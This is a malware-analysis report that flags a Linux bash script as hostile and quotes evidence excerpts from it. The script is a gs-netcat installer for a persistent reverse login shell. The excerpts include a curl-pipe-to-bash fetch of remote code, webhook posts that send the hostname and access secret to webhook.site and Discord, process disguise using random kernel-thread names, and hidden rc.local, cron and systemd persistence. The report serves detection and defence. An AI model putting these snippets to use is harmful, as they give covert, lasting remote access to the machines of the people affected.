Hostile ^92% linux Download

x

Installs hidden reverse shell

gs-netcat persists under a hidden identityRandom kernel name masks process identity

SHA-256a4a71972d8ce03e9555bb0101747b5e5dfeae4023e59f6bd99dcc606cbbf66d5

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeK(Lu)O₄(ErP₆AsDy)H₆(Cm₁₁Db₃F₁₁Os₁₂Po₉U₂)Md₃(Bk₂Pa)

Evidence

Invokes the gs-netcat Global Socket client lines 1–13

1#! /usr/bin/env bash
2
3# Install and start a permanent gs-netcat reverse login shell
4#
5# See https://www.gsocket.io/deploy/ for examples.
6#
7# This script is typically invoked like this as root or non-root user:
8#   $ bash -c "$(curl -fsSL https://gsocket.io/x)"
9#
10# Connect
11#   $ S=MySecret bash -c "$(curl -fsSL https://gsocket.io/x)""
12# Pre-set a secret:
13#   $ X=MySecret bash -c "$(curl -fsSL https://gsocket.io/x)"

Shell array pools kernel-thread names lines 106–138

106:46… 't expand in single quotes, use double quotes for that.
107	data='{"hostname": "$(hostname)", "system": "$(uname -rom)", "access": "gs-netcat -i -s ${GS_SECRET}"}'
108	GS_WEBHOOK_CURL=('-H' 'Content-type: application/json' '-d' "${data}" "https://webhook.site/${GS_WEBHOOK_KEY}")
109	GS_WEBHOOK_WGET=('--header=Content-Type: application/json' "--post-data=${data}" "https://webhook.site/${GS_WEBHOOK_KEY}")
110}
111### discord webhook
112# GS_DISCORD_KEY="1106565073956253736/mEDRS5iY0S4sgUnRh8Q5pC4S54zYwczZhGOwXvR3vKr7YQmA0Ej1-Ig60Rh4P_TGFq-m"
113[[ -n $GS_DISCORD_KEY ]] && {
114	data='{"username": "gsocket", "content": "'"${msg}"'"}'
115	GS_WEBHOOK_CURL=('-H' 'Content-Type: application/json' '-d' "${data}" "https://discord.com/api/webhooks/${GS_DISCORD_KEY}")
116	GS_WEBHOOK_WGET=('--header=Content-Type: application/json' "--post-data=${data}" "https://discord.com/api/webhooks/${GS_DISCORD_KEY}")
117}
118unset data
119unset msg
120
121DL_CRL="bash -c \"\$(curl -fsSL $URL_DEPLOY)\""
122DL_WGT="bash -c \"\$(wget -qO- $URL_DEPLOY)\""
123BIN_HIDDEN_NAME_DEFAULT="defunct"
124# Can not use '[kcached/0]'. Bash without bashrc shows "/0] $" as prompt. 
125proc_name_arr=("[kstrp]" "[watchdogd]" "[ksmd]" "[kswapd0]" "[card0-crtc8]" "[mm_percpu_wq]" "[rcu_preempt]" "[kworker]" "[raid5wq]" "[slub_flushwq]" "[netns]" "[kaluad]")
126# Pick a process name at random
127PROC_HIDDEN_NAME_DEFAULT="${proc_name_arr[$((RANDOM % ${#proc_name_arr[@]}))]}"
⋯5 lines
133# PROC_HIDDEN_NAME_DEFAULT="[rcu_preempt]"
134# ~/.config/<NAME>
135CONFIG_DIR_NAME="htop"
136
137# Names for 'uninstall' (including names from previous versions)
138BIN_HIDDEN_NAME_RM=("$BIN_HIDDEN_NAME_DEFAULT" "gs-dbus" "gs …

References /etc/rc.local boot path lines 850–870

18… EFIX" ]]; then
# Debuggin and testing into separate directory
mkdir -p "${GS_PREFIX}/etc" 2>/dev/null
mkdir -p "${GS_PREFIX}/usr/bin" 2>/dev/null
mkdir -p "${GS_PREFIX}${HOME}" 2>/dev/null
if [[ -f "${HOME}/${RC_FN_LIST[1]}" ]]; then
	xcp -p "${HOME}/${RC_FN_LIST[1]}" "${GS_PREFIX}${HOME}/${RC_FN_LIST[1]}"
fi
xcp -p /etc/rc.local "${GS_PREFIX}/etc/"
fi
860
command -v tar >/dev/null || errexit "Need tar. Try ${CM}apt install tar${CN}"
command -v gzip >/dev/null || errexit "Need gzip. Try ${CM}apt install gzip${CN}"
863
touch "${TMPDIR}/.gs-rw.lock" || errexit "FAILED. No temporary directory found for downloading package. Try setting TMPDIR="
rm -f "${TMPDIR}/.gs-rw.lock" 2>/dev/null
866
# Find out which directory is writeable
init_dstbin
869
NOTE_DONOTREMOVE="# DO NOT REMOVE THIS LINE. …

Shell exec takes argv zero from variable lines 889–890

889:10… LINE="${KL_CMD_BIN} ${KL_CMD_RUNCHK_UARG[*]} ${BIN_HIDDEN_NAME} 2>/dev/null || (${ENV_LINE[*]}TERM=xterm-256color GS_ARGS=\"-k ${USER_SEC_FILE} -liqD\" exec -a '${PROC_HIDDEN_NAME}' '${DSTBIN}' 2>/dev/null)"
890	CRONTAB_LINE="${KL_CMD_BIN} ${KL_CMD_RUNCHK_UARG[*]} ${BIN_HIDDEN_NAME} 2>/dev/null || ${ENV_LINE[*]}SHELL=$SHELL TERM=xterm-256color GS_ARGS=\"-k ${USER_SEC_FILE} -liqD\" $(command -v bash) -c \"exec -a '${PR …

Enables a systemd service to start automatically lines 1136–1163

⋯5 lines
1141[Service]
1142Type=simple
1143Restart=always
1144RestartSec=300
1145WorkingDirectory=/root
1146ExecStart=/bin/bash -c \"${ENV_LINE[*]}GS_ARGS='-k $SYSTEMD_SEC_FILE -ilq' exec -a '${PROC_HIDDEN_NAME}' '${DSTBIN}'\"
1147
1148[Install]
1149WantedBy=multi-user.target" >"${SERVICE_FILE}" || return
1150
1151	gs_secret_write "$SYSTEMD_SEC_FILE"
1152	ts_add_systemd "${WANTS_DIR}/multi-user.target.wants"
1153	ts_add_systemd "${WANTS_DIR}/multi-user.target.wants/${SERVICE_HIDDEN_NAME}.service" "${SERVICE_FILE}"
1154
1155	systemctl enable "${SERVICE_HIDDEN_NAME}" &>/dev/null || { rm -f "${SERVICE_FILE:?}" "${SYSTEMD_SEC_FILE:?}"; return; } # did not work... 
1156
1157	IS_SYSTEMD=1
⋯6 lines